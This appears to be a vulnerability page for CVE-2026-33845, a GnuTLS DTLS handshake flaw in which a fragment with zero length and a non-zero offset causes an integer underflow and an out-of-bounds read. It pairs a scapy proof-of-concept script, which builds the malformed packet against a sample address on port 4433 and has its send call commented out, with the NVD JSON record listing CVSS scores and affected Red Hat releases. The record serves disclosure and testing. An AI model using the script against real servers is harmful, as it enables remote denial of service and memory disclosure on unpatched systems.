CVE-2026-33845

import struct from scapy.all import IP, UDP, Raw, send # Target configuration target_ip = "192.168.1.100" target_port = 4433 # DTLS Record Layer Header type_handshake = 22 version_dtls12 = 0xFEFD epoch = 0 seq_num = 0 # Handshake Message Header (Malformed) # Type: HelloVerifyRequest (3) - arbitrary handshake type for triggering parsing msg_type = 3 msg_len = 100 # Arbitrary total length msg_seq = 0 frag_offset = 100 # Non-zero offset frag_len = 0 # Zero length (The vulnerability trigger) # Construct handshake header handshake_header = struct.pack('!B', msg_type) handshake_header += struct.pack('!I', msg_len)[1:] # 3 bytes length handshake_header += struct.pack('!H', msg_seq) handshake_header += struct.pack('!I', frag_offset) handshake_header += struct.pack('!I', frag_len) # Construct DTLS header dtls_header = struct.pack('!B', type_handshake) dtls_header += struct.pack('!H', version_dtls12) dtls_header += struct.pack('!H', epoch) dtls_header += struct.pack('!I', seq_num) dtls_header += struct.pack('!H', len(handshake_header)) packet = IP(dst=target_ip) / UDP(sport=12345, dport=target_port) / Raw(dtls_header + handshake_header) # send(packet) print("[+] Malformed DTLS packet generated for CVE-2026-33845")

{"cve": {"id": "CVE-2026-33845", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:28.003", "lastModified": "2026-05-05T03:03:19.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in GnuTLS DTLS handshake parsing allows malformed fragments with zero length and non-zero offset, leading to an integer underflow during reassembly and resulting in an out-of-bounds read. This issue is remotely exploitable and may cause information disclosure or denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:gnutls:-:*:*:*:*:*:*:*", "matchCriteriaId": "33A22858-21E1-479F-A9C4-AD2EFD059B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13274", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-33845", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450624", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}